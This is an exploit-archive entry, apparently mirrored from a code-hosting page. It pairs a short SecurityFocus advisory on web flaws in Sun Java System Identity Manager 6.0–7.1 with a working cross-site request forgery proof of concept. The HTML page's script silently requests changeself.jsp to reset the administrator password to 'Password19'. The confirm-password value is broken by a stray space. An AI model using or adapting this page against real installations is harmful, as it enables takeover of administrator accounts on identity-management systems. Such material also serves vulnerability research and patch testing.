18 lines
No EOL
1.1 KiB
HTML
18 lines
No EOL
1.1 KiB
HTML
source: https://www.securityfocus.com/bid/32262/info
|
|
|
|
|
|
Sun Java System Identity Manager is prone to multiple web-interface vulnerabilities, including a cross-site request-forgery issue, multiple cross-site scripting issues, multiple HTML-injection issues, and a directory-traversal vulnerability.
|
|
|
|
Successful exploits of many of these issues will allow an attacker to completely compromise the affected application.
|
|
|
|
These issues affect the following versions:
|
|
|
|
Sun Java System Identity Manager 6.0
|
|
Sun Java System Identity Manager 6.0 SP1
|
|
Sun Java System Identity Manager 6.0 SP2
|
|
Sun Java System Identity Manager 6.0 SP3
|
|
Sun Java System Identity Manager 6.0 SP4
|
|
Sun Java System Identity Manager 7.0
|
|
Sun Java System Identity Manager 7.1
|
|
|
|
<html> <h1>CSRF attack demo - changes administrative password to 'Password19'</h1> <script> var img = new Image(); img.src = 'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Passwo rd19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true'; </script> </html> |